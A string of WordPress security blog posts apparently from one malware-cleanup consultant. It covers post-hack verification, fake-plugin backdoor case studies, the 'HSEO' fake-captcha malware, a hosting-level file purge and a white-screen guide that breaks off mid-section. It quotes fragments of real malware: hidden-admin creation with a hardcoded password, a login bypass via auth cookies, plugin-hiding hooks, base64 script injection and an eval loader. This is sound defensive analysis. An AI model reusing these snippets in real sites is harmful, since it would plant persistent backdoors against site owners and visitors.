    For each spam URL that returns a 404 (the cleanup deleted the malicious page), submit it to Google’s Removals tool in Search Console. For URLs you cannot find an obvious match for, check your sitemap and re-submit a clean one. I documented exactly how I removed 10,500 spam URLs in 12 days here — the same playbook applies to any volume.

    Step 13: Request Blacklist Reviews (If Applicable)

    If your site was flagged by any of these, you need to request a review from each one separately:

    • Google Safe Browsing — Search Console → Security Issues → Request Review
    • McAfee SiteAdvisor — submit at trustedsource.org
    • Norton Safe Web — submit at safeweb.norton.com
    • Sucuri SiteCheck — submit a re-scan request

    If you are stuck in a blacklist loop, my blacklist removal service handles the review submissions and re-scan management end-to-end.


    Day 3–7: Behavioral Monitoring

    The first three days verify the cleanup. The next four watch for reinfection signals.

    Step 14: Audit Cron Jobs (WordPress and Server Level)

    WordPress cron and server cron are different things. Both can be hijacked.

    For WordPress cron, install WP Crontrol and review the events list. Look for:

    • Hooks with random names (xys_check_update, wp_eval_payload)
    • Hooks scheduled to run very frequently (every 5–10 minutes)
    • Hooks with no associated function

    For server cron (if you have SSH):

    crontab -l
    # And for the web user
    crontab -u www-data -l

    Anything calling a PHP file in wp-content/uploads/, anything with wget or curl downloading remote files, anything with a base64-encoded string — kill it immediately. I cover cron-based reinfection in depth in WordPress Cron Job Malware.

    Step 15: Watch Server Access Logs for Probing

    Attackers who got in once usually probe again to see if their backdoors still work. Watch the access log for repeat hits to the locations they used:

    tail -f /var/log/nginx/access.log | grep -E "\.(php)" | grep -v "wp-cron"

    Or for Apache:

    tail -f /home/user/access-logs/yoursite.com | grep "\.php"

    Suspicious patterns to flag:

    • Repeated requests to the same odd PHP file
    • POST requests to files in wp-content/uploads/
    • Requests with long base64-looking query strings
    • Repeated requests from the same IP across a short time window

    Step 16: Re-Scan with a Different Tool Than the One That Found It

    Each scanner has blind spots. If Wordfence cleaned the site, run a Sucuri SiteCheck and a MalCare scan. If MalCare did the cleanup, run Wordfence. Different signature databases catch different things.


    Week 1+: Long-Term Monitoring Setup

    Past 72 hours, the goal shifts from active verification to passive monitoring. Set up the following so the next attempt is caught before it becomes another cleanup:

    • Daily off-site backups — never store backups on the same server as the site. My UpdraftPlus walk-through is here.
    • File change monitoring — Wordfence Premium, Patchstack, or a managed WAF will alert you the moment a core file is modified.
    • Login activity alerts — get an email every time an admin logs in. Catches credential reuse fast.
    • Quarterly password rotation for all five credential categories listed in Step 2.
    • 2FA on the hosting account, the WordPress dashboard, and the admin email — the three places attackers go first.

    If you want a deeper hardening pass, my full WordPress security checklist is here.


    The 7 Signs Your Cleanup Actually Failed

    If any of these show up in the 72-hour window, the cleanup was incomplete and you are already being reinfected:

    1. A new admin user appears in wp_users that you did not create
    2. Files you deleted reappear (almost always a cron job)
    3. Server CPU spikes for no obvious traffic reason
    4. Search Console flags new spam URLs being indexed
    5. The siteurl or home values in wp_options change on their own
    6. Mobile visitors get redirected but desktop does not
    7. Your hosting provider sends a fresh malware notice

    If any of these happen — stop trying to clean it incrementally. The infection is regenerating from a backdoor you have not found, and continuing to react keeps you behind the attacker. Get a forensic audit instead.


    Frequently Asked Questions

    How do I know if my WordPress malware cleanup actually worked?

    Run the seven verification checks in this guide: salt rotation, credential rotation, hidden user audit, core checksum verification, modified file scan, database scan, and curl-based behavioral testing. If all seven pass and the site is still clean 72 hours later, the cleanup held.

    How long should I monitor my WordPress site after a hack?

    Active monitoring for 72 hours, passive monitoring for 30 days. The first three days catch immediate reinfection from missed backdoors; the next 27 catch slower attacks that wait out your initial vigilance.

    Why does my WordPress site keep getting hacked even after I clean it?

    You are missing the persistence mechanism. The most common ones are scheduled cron jobs that re-download the malware, hidden admin users in the database, or a backdoor file in mu-plugins or uploads. I cover the full breakdown here.

    Should I rebuild my WordPress site from scratch after a hack?

    Only if your backups are also infected or older than the hack itself, or if cleanup keeps failing despite multiple attempts. A clean rebuild is sometimes faster than chasing a determined infection — but for the vast majority of cases, a verified manual cleanup is enough.

    Do I need to tell Google my site was hacked?

    Only if Google flagged you with a Security Issue in Search Console. Otherwise, requesting a review draws attention to a problem Google may not have noticed. Clean the site, verify it is clean, then continue submitting your normal sitemap. If a flag does exist, request the review only after every step of this protocol passes.

    Can a hosting provider tell me my site is clean?

    They can tell you their scan did not find malware, which is not the same thing. Hosting scans look for signature-based file infections; they rarely check the database, hidden users, cron jobs, or behavioral cloaking. Treat a “your site is clean” notice from your host as one data point, not a final answer.


    Need a Forensic Audit Instead of a Checklist?

    If your cleanup keeps failing, if malware keeps coming back, or if you just want a second set of expert eyes on a site you have already cleaned — that is exactly what I do. I have personally cleaned and verified over 4,500 hacked WordPress sites.

    Real reviews from clients I have worked with:

    “I’m very satisfied with MD Pabel service. He can save my site from hackers and remove all malware attacks. Highly recommended.”
    Hassan Infinkey, eCommerce Owner ★★★★★

    “My website was suffering from some redirect malware. MD was able to take care of the problem for a reasonable fee. For me, he was a lifesaver. I will certainly go to him first should something like that happen again.”
    Kendall Miller, Founder ★★★★★

    “Thanks for giving me a great support. You are a very nice team.”
    Usama Javed, WordPress Agency ★★★★★

    → Get a manual malware audit and verification

  • How We Removed a “Cloudflare” Redirect Virus & Massive SEO Spam Injection from a Hacked WordPress Site

    How We Removed a “Cloudflare” Redirect Virus & Massive SEO Spam Injection from a Hacked WordPress Site

    We recently worked on a WordPress site that had a serious problem. To the owner, the site looked fine. But to Google and new visitors, it was completely broken.

    Visitors were being sent to a fake “Cloudflare Verification” page, and Google was indexing thousands of spam links for illegal gambling sites. This is a very common but advanced type of hack.

    In this post, I will explain exactly what we found. I will break down the malicious files (wp-compat.php, OperationGraph.php, and main.php) and show you the steps we took to clean the site. If you have a WordPress site, this guide will help you understand how hackers hide in your system.

    1. The Problem: How We Detected the Hack

    The client contacted us because their traffic had dropped significantly. They also received complaints that their site was “unsafe.”

    When we started our investigation, we found three main symptoms.

    Symptom A: The Fake Cloudflare Page

    Occasionally, when we tried to visit the site, we were redirected to a page that asked us to “Verify you are human.”

    It looked like a standard security check from Cloudflare. However, when we looked at the URL bar, the address was not cloudflare.com. It was a fake page hosted on the client’s own website.

    Why hackers do this:
    This is a phishing trap. If you click the “Verify” button, the script often tries to install a virus on your computer or tricks you into allowing browser notifications (which they use to send you spam ads later).

    Symptom B: Hidden SEO Spam (The Source Code)

    When we looked at the website normally, the footer looked clean. But hackers are smart—they know that if they put spam links where you can see them, you will delete them.

    We right-clicked the page and selected “View Page Source.”

    At the very bottom of the HTML code, we found thousands of links. They linked to:

    • “Bahsegel” (Betting/Gambling sites)
    • Crypto scams
    • Adult content

    The hackers used a simple trick to hide these links from humans. They used CSS code to push the links far off the screen:

    <div style="position:absolute; left:-11738px;">
    <a href="...">Bahsegel 2025</a>
    </div>

    By setting the position to -11738px, the links are physically located miles to the left of your monitor. You can’t see them, but Google’s bots read the code, not the screen. Google sees these links, thinks your site is promoting illegal gambling, and penalizes your search rankings.

    Hidden SEO Spam

    Symptom C: Strange Plugins

    We logged into the hosting File Manager. In the /wp-content/plugins/ folder, we saw many folders. Most were real, but three stood out because they had generic, “boring” names that didn’t match any known plugin.


    2. Analyzing the Malware: The “Fake Plugin” Trio

    We downloaded the suspicious files to analyze them. The hackers installed three specific scripts. Each one had a specific job.

    Malware File #1: The Ghost Admin Creator

    • File Name: wp-compat.php
    • Fake Name: WP Compatibility Patch
    • Location: /wp-content/plugins/wp-compat/

    This file is very dangerous. Its job is to make sure the hackers always have an administrator account, even if you delete them.

    What the code does:
    The code claims to be a “Compatibility Patch” to fix issues with WordPress. This is a lie to make you afraid to delete it.

    Inside the code, we found this:

    $params = array(
        'user_login' => 'adminbackup',
        'user_pass'  => 'QetmUvqCTs',
        'role'       => 'administrator',
        'user_email' => 'adminbackup@wordpress.org'
    );

    This script runs every time the website loads. It checks if a user named adminbackup exists. If you delete this user, the script immediately recreates it with the password QetmUvqCTs.

    The Ghost backdoor Admin Creator

    How it stays invisible:
    The most clever part of this script is that it hides the user from the WordPress Dashboard.

    It uses a command called pre_user_query. This command tells WordPress: “When you list the users in the dashboard, do not show the user ID associated with adminbackup.”

    So, you could look at your Users list and see 3 legitimate admins. But in reality, there are 4 admins. The 4th one is the hacker, and they are invisible to you.

    Malware File #2: The Hidden Backdoor

    • File Name: OperationGraph.php
    • Fake Name: OperationGraph
    • Location: /wp-content/plugins/woocommerce-page-homepage/

    This file was located in a folder that sounded real (woocommerce-page-homepage), but it was actually a “backdoor.” A backdoor is a script that lets hackers send commands to your website remotely.

    What the code does:
    The code in this file was “obfuscated.” This means the hackers wrote it in a way that is impossible for humans to read easily.

    It looked like this:

    goto r9Ie9y353w0aV7bK; 
    $this->seed = md5(DB_PASSWORD . AUTH_SALT);

    It uses chaotic jumps (goto commands) and weird codes. This script connects your website to a “Command and Control” server. The hackers can send a signal to this script to tell your website to do anything they want, such as:

    • Download more viruses.
    • Delete your files.
    • Send spam emails.

    It also saves its settings in your database (the wp_options table) so that even if you delete the file, the settings remain.

    OperationGraph fake plugin: The Hidden Backdoor

    Malware File #3: The Spam Generator

    • File Name: main.php
    • Fake Name: Advanced Server Response Handler
    • Location: /wp-content/plugins/easy-library-web-demo-1/

    This script was responsible for the SEO spam links we found in the source code.

    What the code does:
    This script turns your website into a “Zombie” that works for the hackers. It uses a technique called Cloaking.

    Cloaking means showing one version of the site to real humans and a different version to search engines (like Google or Bing).

    1. Detection: When someone visits your site, the script checks who they are. It has a list of IP addresses for Google, Bing, and Yandex bots.
    2. The Switch:
      • If you are a human: It shows the normal site (or the fake Cloudflare redirect).
      • If you are Googlebot: It connects to a hacker website (pasteyourlinks.online), downloads a list of spam links, and inserts them into your page.

    This is why the site owner often doesn’t realize they are hacked. They browse the site and see nothing wrong. But Google browses the site and sees thousands of links to “Casino” and “Betting.”

    Clearing the Cache:
    We also noticed this script commands your caching plugins to clear themselves.

    if (function_exists('rocket_clean_domain')) {
        rocket_clean_domain();
    }

    It clears WP Rocket, LiteSpeed, and W3 Total Cache. Why? Because if your site is cached, the spam links might not show up immediately. The hackers want the spam to be live instantly.

    The Spam Generator

     


    3. Why This “Japanese Keyword Hack” Matters

    In the SEO world, this is often called the “Japanese Keyword Hack” or “Pharma Hack.” Even though the links in this case were for betting (“Bahsegel”), the principle is the same.

    Hackers hack legitimate sites (like yours) because your site has “Authority.” Google trusts your site. By putting their links on your site, they trick Google into thinking their illegal gambling sites are trusted too.

    The Consequences for You:

    • Blacklisting: Google will eventually flag your site as “Deceptive.” Users will see a big red warning screen before they can enter your site.
    • SEO Loss: You will lose your rankings. If you sell shoes, but Google thinks you sell gambling links, you won’t appear in search results for shoes anymore.
    • Ad Suspension: If you run Google Ads or Facebook Ads, your accounts will be suspended because the destination URL is infected.

    4. Step-by-Step Guide: How We Cleaned the Site

    Fixing this is not as simple as clicking “Delete.” Because the malware creates users and hides in the database, you have to follow a strict process.

    Here is exactly what we did.

    Step 1: Maintenance Mode

    First, we put the site in maintenance mode. We did this so users wouldn’t get redirected to the fake Cloudflare scam page while we were working.

    Step 2: Clean the File System

    We accessed the site using FTP (File Transfer Protocol). You can also use the File Manager in cPanel.

    We went to /wp-content/plugins/ and deleted the three malicious folders:

    1. wp-compat
    2. woocommerce-page-homepage
    3. easy-library-web-demo-1

    Important: We checked the dates. The legitimate plugins were all modified months ago. The malicious folders were modified very recently. This is a good way to spot fake files.

    Step 3: Clean the Database (Very Important)

    This is the step most people miss. If you don’t do this, the hack will come back.

    We opened phpMyAdmin from the hosting dashboard.

    A. Delete the Ghost User
    We opened the wp_users table. We saw the user adminbackup. We deleted that row entirely.

    B. Delete Hidden Options
    We opened the wp_options table. This table stores all your WordPress settings.
    We searched for _pre_user_id. This is the setting the malware used to hide the admin ID. We deleted it.
    We also searched for nitro_data and other weird entries created by the OperationGraph plugin and deleted them.

    Step 4: Scan with Wordfence

    After manually cleaning the obvious files, we installed the Wordfence Security plugin.

    We ran a “High Sensitivity” scan. The scanner found two more files hidden in the /wp-content/uploads/ folder. They were named image.png but were actually PHP scripts. Hackers often hide backdoors in the uploads folder because it is the one folder that is “writable” by the server.

    Step 5: Check “Must-Use” Plugins

    We checked the /wp-content/mu-plugins/ folder. “MU Plugins” are special plugins that run automatically and cannot be turned off from the dashboard. Hackers love this folder. We found a small loader script there and deleted it.

    Step 6: Fix the SEO (Google Search Console)

    The site was clean, but Google still had the spam links in its memory.

    1. We logged into Google Search Console.
    2. We used the Removals Tool to temporarily block the spammy URLs.
    3. We submitted the sitemap again.
    4. We used the “Inspect URL” tool on the homepage and requested indexing. This tells Google: “The site is clean now, please look again.”

    5. Prevention: How to Stop This From Happening Again

    The entry point for this hack was an outdated plugin. The client had a “Slider” plugin that they hadn’t updated in 2 years. Hackers used a known security hole in that plugin to upload the first file.

    Here is your checklist to stay safe:

    • 1. Update Everything, Always: WordPress Core, themes, and plugins must be updated. Old software is the #1 way hackers get in.
    • 2. Turn off File Editing: You can add a simple line of code to your wp-config.php file:
      define('DISALLOW_FILE_EDIT', true);
      This stops anyone (including hackers) from editing your plugin files from inside the WordPress dashboard.
    • 3. Use a Web Application Firewall (WAF): A firewall blocks bad traffic before it reaches your site. We recommend using Cloudflare (the real one) or the Wordfence Premium firewall.
    • 4. Change Your Passwords: After a hack, you must assume every password was stolen. We changed the database password, the FTP password, and all WordPress admin passwords.
    • 5. Check User Accounts Regularly: Once a month, go to your “Users” tab. If you see anyone you don’t recognize, delete them immediately.

    6. Frequently Asked Questions (FAQs)

    Q: Can I just restore a backup?
    A: Probably not. These viruses are designed to sit quietly for months (“incubation period”). If you restore a backup from last week, you are likely just restoring the virus. You need to clean the current files to be sure.

    Q: Why do I see “Bahsegel” or Japanese characters in my search results?
    A: This is the SEO spam injection. The hacker’s script (main.php) specifically showed these words to Google to boost the ranking of their gambling sites. It will take a few weeks for Google to clear them after you fix the site.

    Q: What is wp-compat.php?
    A: It is a fake plugin file used by hackers. It pretends to be a WordPress compatibility patch, but it actually creates a hidden administrator user so the hacker can always access your site.

    Q: Is my site safe to visit now?
    A: If you have followed the steps above (removed files, cleaned database, scanned with Wordfence), yes. However, you should clear your browser cache to stop seeing the old redirected pages.


    Summary

    Hackers are getting smarter. They don’t just break your site anymore; they use it to make money. They use fake plugins like wp-compat and OperationGraph to hide tracks and main.php to serve spam.

    By understanding how these files work, you can spot them early. Always look for plugins you didn’t install, users you didn’t create, and strange links in your source code.

    If you found this case study helpful, or if you are currently dealing with a hacked site, leave a comment below.

  • Is Your WordPress Site Showing a Fake “I’m not a robot” Pop-up? You Have the “HSEO” Malware.

    Is Your WordPress Site Showing a Fake “I’m not a robot” Pop-up? You Have the “HSEO” Malware.

    The Symptom: The “Phantom” Captcha

    It starts with a complaint from a visitor, or maybe you saw it yourself while checking your site on mobile. You open your homepage, and instead of your content, you are blocked by a blurry screen and a Google reCAPTCHA box asking you to confirm “I’m not a robot.”

    Here is the bad news: That is not a real Google Captcha. It is a trap.

    Clicking that box doesn’t verify you; it executes malicious JavaScript that redirects your visitors to scam sites, gambling portals, or tech support hoaxes. This is the visible face of a stealthy, high-tech infection known as the “HSEO” Malware.

    The Diagnosis: It’s Hiding in Plain Sight

    If you check your WordPress plugins list, everything looks normal. You won’t see anything suspicious. That is by design.

    I recently dissected this malware. It installs itself as a plugin (often named hseo), but it uses a specific line of code to erase itself from your dashboard view.

    Here is the actual code from the malware ensuring you never find it:

    function plugin_list($plugins) {
        if (isset($plugins["active"]["hseo/hseo.php"])) {
            unset($plugins["all"]["hseo/hseo.php"]); // Deletes itself from the 'All' list
            unset($plugins["active"]["hseo/hseo.php"]); // Deletes itself from the 'Active' list
        }
        return $plugins;
    }
    

    Because of this, you can’t click “Deactivate.” You have to remove it via your file manager.

    The “HSEO” Anatomy: How It Controls Your Site

    This isn’t just a redirect script; it is a full-featured “Backdoor.” Based on our code analysis, here are the terrifying capabilities this malware gives the attacker.

    1. The “Super Admin” Bypass

    The attackers don’t need to crack your password. They created a secret key for themselves. The malware contains a function called get_al that scans your database for the first administrator account and logs the attacker in automatically if they visit a specific URL.

    function get_al() {
        // Finds the first admin user
        $admins = get_users(["role" => "administrator"]);
        $user_id = $admins[0]->ID;
        // Logs them in instantly without a password
        wp_set_auth_cookie($user_id); 
    }
    

    2. The Blockchain Connection (Unstoppable Commands)

    This is where the malware gets incredibly sophisticated. Usually, security plugins block malware by blacklisting the attacker’s server IP.

    To get around this, the HSEO malware uses the Binance Smart Chain (crypto blockchain) to receive instructions. It connects to the blockchain, reads a specific transaction hash, and extracts the IP address of the command server from that transaction.

    Because the blockchain is public and immutable, security software cannot “block” the source of the configuration.

    // Connects to BSC Testnet Public Node
    $url = 'https://bsc-testnet-rpc.publicnode.com/';
    // Decodes hidden instructions from the blockchain
    $answer = str_replace("0x", "", $json['result']);
    

    3. The Fake Captcha Injection

    That “I’m not a robot” pop-up you see? It is generated by a massive block of obfuscated JavaScript injected into your site’s header.

    function wp_smile_face() {
        // Injects base64 encoded malicious script
        echo "<script src=\"data:text/javascript;base64,ZnVuY3Rpb24gXzB4M2...\"></script>";
    }
    add_action("wp_head", "wp_smile_face");
    

    The function name wp_smile_face is a cruel joke by the developers. It’s what hijacks your user’s browser.

    How to Fix It (Immediate Steps)

    If you see the fake Captcha, your site is compromised. Do not wait.

    1. Access Your File Manager: You cannot fix this from the WordPress dashboard. Log in to your hosting Control Panel (cPanel) or use FTP.

    2. Find the Folder: Navigate to /wp-content/plugins/.

    3. Delete “HSEO”: Look for a folder named hseo. Delete the entire folder.

    4. Check for constants.php: If you see a file named constants.php inside the main plugin directory, delete it too.

    5. Change Your Salts: Open your wp-config.php file and change the security keys (Salts). This will force-logout the attackers.

    6. Scan Your Database: Since the attacker had admin access, check for any rogue administrator users they may have created and delete them.

    Summary

    The “Fake Captcha” hack is one of the most frustrating experiences for a site owner because it destroys visitor trust immediately.

    The HSEO malware represents a new wave of attacks using blockchain technology and stealth hooks to evade detection. If you are unsure how to remove this, contact a WordPress security specialist immediately.

  • WordPress Malware Case Study: Removing Hidden Executable Files After a Bluehost Account Suspension

    WordPress Malware Case Study: Removing Hidden Executable Files After a Bluehost Account Suspension

    A client contacted me after Bluehost completely suspended their hosting account due to malware detection.
    Unlike typical WordPress infections, this case involved a large number of malicious executable files scattered across the hosting account, listed by Bluehost in a file named malware_bin.txt.

    Bluehost clearly stated that all listed files must be deleted before account access could be restored.
    If even one file remained, the account could be reinfected and suspended again.

    This was not a standard WordPress cleanup. This was a hosting-level malware incident.


    Initial Assessment

    The hosting account contained multiple WordPress sites, and malware was detected in areas often considered safe, such as:

    • /wp-content/plugins/

    • /wp-content/themes/

    For example:

    • jetpack/jetpack_vendor/automattic/jetpack-masterbar/src/admin-color-schemes/compat42x

    • bluehost-wordpress-plugin/vendor/newfold-labs/wp-module-solutions/includes/addtocart

    • all-in-one-wp-migration/lib/vendor/servmask/filetypes.inc

    These files were not part of normal plugin or theme functionality.

    A legitimate WordPress installation normally consists of:

    • PHP

    • JavaScript

    • HTML / CSS / SCSS

    • Images and media

    • Document files

    Executable or random system-style files inside plugins/themes are red flags.

    This indicated:

    • Malware existed inside plugin and theme directories, not just outside WordPress

    • Plugin-based scanners could easily miss these hidden files

    • Incomplete cleanup could immediately trigger reinfection


    Why Security Plugins Failed

    WordPress security plugins focus on:

    • Modified core files

    • Known plugin/theme exploits

    • Database injections

    In this case:

    • Malware lived in legitimate plugin directories but used strange filenames (insert_hw, addtocart, filetypes.inc)

    • Some files were hidden deep inside vendor libraries

    • Others mimicked standard plugin assets (compat42x) to evade detection

    Bluehost detected the malware at the hosting level, which is why WordPress scanners did not flag it.


    Mandatory Step: Full Backup

    Before removing anything:

    This step is critical.
    Mass deletion without a backup can permanently break websites or destroy forensic evidence.


    Malware Cleanup Strategy

    Identifying the Malware

    From malware_bin.txt, I extracted approximately 50–80 unique malicious file names.
    These filenames appeared repeatedly across different directories in the hosting account.

    Each filename was manually reviewed to confirm:

    • It was not part of WordPress core
    • It was not used by any plugin or theme
    • It was not a legitimate application file

    Only after verification was removal approved.


    Why Manual Deletion Was Not an Option

    • Files were scattered across hundreds of directories
    • Many filenames appeared multiple times
    • Missing even one file could re-trigger the infection
    • cPanel file managers are too limited for this scope

    This required a server-level, SSH-based automated cleanup.


    ⚠️ Warning: Advanced Malware Removal – Only Attempt If You Have Server Experience

    This case study describes a highly technical, server-level malware removal process involving SSH access, filename loops, and manual deletions across WordPress plugins, themes, and hosting directories.

    Do not attempt this if you are not experienced with Linux, SSH, or WordPress server administration.

    Mistakes can lead to:

    • Permanent data loss

    • Broken WordPress installations

    • Re-infection of your hosting account

    • Possible hosting account suspension

    If you are unsure, it’s strongly recommended to hire a professional to safely perform these steps.


    SSH-Based Malware Removal Using a Loop

    To ensure complete removal, I used an SSH loop that iterated through the list of malicious filenames and deleted every occurrence across the entire hosting account.

    Simplified Example of the Logic Used

    files=(
      "rvsMasterCompoDB"
      "phpthumb.unsharp"
      "currencyVars.inc"
      "cron.bak"
      "toolbadex.hacked"
      ".key-daemon"
      ".pulse-listener"
      ".sys-config"
      "bigocaptcha"
    )
    
    for file in "${files[@]}"; do
      find /home/username/ -type f -name "$file" -delete
    done
    

    This method ensured that:

    • All malicious files were located regardless of directory depth
    • Duplicate payloads were fully removed
    • No reinfection vectors were left behind
    • Cleanup was consistent and verifiable

    This level of cleanup cannot be achieved using WordPress plugins or control panel tools.


    Post-Cleanup Verification

    After removal:

    • File permissions were reviewed
    • No unexpected executable or system-like files remained
    • WordPress core integrity was validated
    • Bluehost re-scanned the hosting account

    The hosting account was fully restored.
    No reinfection occurred.


    Key Takeaways From This Case

    • Not all WordPress malware lives inside WordPress
    • Executable files in a WordPress hosting account are a major red flag
    • Hosting providers often detect malware that plugins miss
    • Cleaning only wp-content is not enough
    • SSH-level access is critical for serious infections

    If your hosting provider suspends your account, the problem is often bigger than WordPress itself.


    How to Prevent This Type of Infection

    • Restrict executable permissions on shared hosting
    • Regularly scan non-WordPress directories
    • Do not rely solely on security plugins
    • Harden hosting-level security, not just WordPress

    Without these steps, reinfection is only a matter of time.


    Final Note

    If your hosting provider has:

    • Disabled your account
    • Sent a malware report you do not understand
    • Flagged executable or system-style files
    • Rejected plugin-based cleanups

    You are dealing with a server-level or shared hosting malware infection.

    This type of issue requires manual, SSH-based remediation, not automated tools.

    For professional cleanup, reinfection prevention, and hosting restoration, you can reach me through mdpabel.com.

  • How to Fix WordPress White Screen of Death: 8 Proven Solutions (2026)

    How to Fix WordPress White Screen of Death: 8 Proven Solutions (2026)

    Seeing a blank white page instead of your WordPress site is terrifying, but the WordPress White Screen of Death (WSOD) is almost always fixable within minutes. Whether it’s a plugin conflict, memory exhaustion, theme issue, or even malware infection, this comprehensive guide covers 8 proven solutions that have helped me restore thousands of crashed WordPress sites.

    After cleaning over 4,500 hacked WordPress sites and troubleshooting countless technical issues, I’ve seen every variation of the white screen problem. This guide walks you through the systematic approach I use to diagnose and fix WSOD issues — from the quickest 30-second fixes to advanced malware cleanup that security plugins miss.

    🚀 Quick Start: Try These First

    1. Hard refresh your browser (Ctrl+F5 / Cmd+Shift+R) — fixes 20% of cases
    2. Check if wp-admin works — if yes, it’s theme-related; if no, it’s plugin or server-related
    3. Clear all caches — browser, hosting, and WordPress caching plugins
    4. Rename plugins folder via FTP — instantly reveals if plugins are the cause

    If these don’t work, continue with the full diagnostic process below.

    What Is the WordPress White Screen of Death?

    The WordPress White Screen of Death (WSOD) appears when your website displays a completely blank white page instead of your normal content. In newer WordPress versions (5.2+), you might see “There has been a critical error on this website” instead, but the underlying causes are identical.

    This happens when PHP encounters a fatal error that stops WordPress from loading completely. Because most hosting providers hide error messages from visitors for security reasons, you see a blank screen instead of helpful debugging information.

    Common WSOD Scenarios

    Frontend-only white screen: Admin area works, but visitors see blank pages — usually theme-related
    Admin-only white screen: Site works, but wp-admin is blank — typically plugin conflicts
    Complete white screen: Both frontend and admin are blank — server, memory, or core file issues
    Partial white screen: Some pages work, others don’t — specific plugin or content conflicts

    Understanding which scenario you’re experiencing helps target the right solution faster.

    Step 1: Enable WordPress Debug Mode (Essential First Step)

    Before trying any fixes, enable debug mode to see what’s actually causing the crash. This turns the unhelpful white screen into actionable error messages.

    How to enable debugging:

    1. Access your WordPress files via FTP or hosting file manager
    2. Open wp-config.php in the root directory
    3. Find the line that says define( 'WP_DEBUG', false );
    4. Replace it with these debugging lines:
    define( 'WP_DEBUG', true );
    define( 'WP_DEBUG_LOG', true );
    define( 'WP_DEBUG_DISPLAY', false );
    define( 'SCRIPT_DEBUG', true );
    1. Save the file and reload your site
    2. Check /wp-content/debug.log for error messages

    The error log will show exactly which file is causing the crash and what went wrong. This information is crucial for applying the right fix.

    Important: Turn off debugging once you’ve fixed the issue by changing WP_DEBUG back to false.

    Enable WordPress Debug Mode

    Step 2: Fix Plugin Conflicts (Most Common Cause)

    Plugin conflicts cause roughly 60% of WordPress white screens. A recent plugin update, new installation, or conflict between two plugins can crash your entire site.

    Method A: If You Can Access wp-admin

    1. Go to Plugins → Installed Plugins
    2. Select all plugins using the checkbox at the top
    3. Choose Deactivate from the Bulk Actions dropdown
    4. Click Apply
    5. Check if your site loads normally
    6. If fixed, reactivate plugins one by one to identify the culprit

    Method B: If wp-admin Is Also Blank (FTP Method)

    1. Connect to your server via FTP or hosting file manager
    2. Navigate to /wp-content/
    3. Rename the plugins folder to plugins-disabled
    4. Reload your site — if it works, plugins were the cause
    5. Rename back to plugins to reactivate all plugins
    6. Rename individual plugin folders to isolate the problematic one

    This method is faster than WordPress Recovery Mode because it immediately tells you if plugins are involved.

    plugins-disabled

    Method C: Database Method (Advanced)

    If FTP access isn’t available, deactivate all plugins through the database:

    1. Access phpMyAdmin or your hosting database manager
    2. Find the wp_options table (prefix may vary)
    3. Look for the active_plugins option
    4. Change its value from the plugin array to empty: a:0:{}
    5. Save and reload your site

    For more advanced plugin troubleshooting techniques, see my guide on preventing fake hidden plugins that can cause persistent crashes.

    active_plugins

    Step 3: Resolve Theme Issues

    If deactivating plugins didn’t fix the white screen, your active theme is likely the culprit. Theme conflicts with WordPress updates, PHP version incompatibilities, or corrupted theme files can cause WSOD.

    Switch to Default Theme

    Via WordPress admin (if accessible):

    1. Go to Appearance → Themes
    2. Activate a default WordPress theme (Twenty Twenty-Four, Twenty Twenty-Three)
    3. Check if the white screen is resolved

    Via FTP (if admin is inaccessible):

    1. Navigate to /wp-content/themes/
    2. Rename your active theme folder (e.g., mytheme to mytheme-disabled)
    3. WordPress will automatically fall back to the default theme
    4. Reload your site to test

    Common Theme-Related Issues

    functions.php errors: Check your theme’s functions.php for syntax errors, missing closing brackets, or deprecated functions
    PHP version incompatibility: Older themes may use deprecated PHP functions that crash on PHP 8.0+
    Memory exhaustion: Heavy themes with poor coding can exceed your server’s memory limit

    If switching themes fixes the issue, contact your theme developer or consider using a more reliable theme. I’ve documented theme security best practices in my WordPress security tips guide.

    Step 4: Increase PHP Memory Limit

    Memory exhaustion is a leading cause of white screens, especially on sites with multiple plugins, page builders, or high traffic. WordPress requires a minimum of 64MB, but modern sites typically need 256MB or more.

    Method A: wp-config.php

    Add this line to your wp-config.php file, just before the /* That's all, stop editing! */ line:

    ini_set( 'memory_limit', '256M' );

    Method B: .htaccess File

    Add this line to your .htaccess file in the WordPress root directory:

    php_value memory_limit 256M

    Method C: php.ini File

    If you have access to php.ini, add or modify this line:

    memory_limit = 256M

    Note: Some managed hosting providers (WP Engine, Kinsta) handle memory limits automatically or require contacting support to increase them.

    If memory increase fixes your white screen, investigate which plugins or themes are consuming excessive resources. Tools like Query Monitor can help identify memory-hungry components.

    Step 5: Clear All Caches

    Corrupted cache files can serve broken versions of your site, creating persistent white screens even after fixing the underlying issue.

    Browser Cache

    • Hard refresh: Ctrl+F5 (Windows) or Cmd+Shift+R (Mac)
    • Incognito/Private mode: Test your site in a private browser window
    • Clear browser cache: Use your browser’s clear browsing data option

    WordPress Cache Plugins

    If you use caching plugins like WP Rocket, W3 Total Cache, or WP Super Cache:

    1. Access the plugin’s settings page
    2. Find the “Clear Cache” or “Purge Cache” option
    3. Delete all cached files
    4. Test your site

    Hosting-Level Cache

    Many hosting providers offer built-in caching:

    • Cloudflare: Go to Caching → Purge Everything
    • SiteGround: Use SG Optimizer plugin or cPanel cache tools
    • WP Engine: Use the “Clear all caches” button in their portal
    • Kinsta: Clear cache from MyKinsta dashboard

    Step 6: Fix Corrupted Core Files

    WordPress core files can become corrupted during failed updates, malware infections, or server issues. This is more common than most people realize and can cause persistent white screens.

    Reinstall WordPress Core

    1. Download the latest WordPress version from WordPress.org
    2. Extract the ZIP file on your computer
    3. Upload only these folders via FTP, overwriting existing ones:
      • wp-admin/
      • wp-includes/
    4. Do NOT overwrite:
      • wp-config.php (contains your database credentials)
      • wp-content/ (contains your themes, plugins, uploads)
      • .htaccess (contains your permalink structure)
    5. Test your site after the upload completes

    Check Specific Core Files

    If you suspect specific file corruption, compare these critical files against fresh WordPress downloads:

    • index.php — Main entry point
    • wp-config.php — Configuration file
    • .htaccess — URL rewriting rules

    For comprehensive guidance on maintaining WordPress core integrity, see my complete WordPress security guide.

    Step 7: Detect and Remove Malware (Advanced)

    Malware infections can cause white screens through various mechanisms — corrupted files, resource exhaustion, or incompatible code execution. I’ve encountered specific malware families that consistently trigger WSOD.

    Case Study: The “Zeura” Malware Family

    One particularly troublesome malware family I frequently encounter uses the signature <?php /*** PHP Encode v1.0 by zeura.com ***/ and employs sophisticated obfuscation to hide malicious payloads in core files.

    Typical zeura malware structure:

    $XnNhAWEnhoiqwciqpoHH=file(__FILE__);
    eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4..."));
    eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));
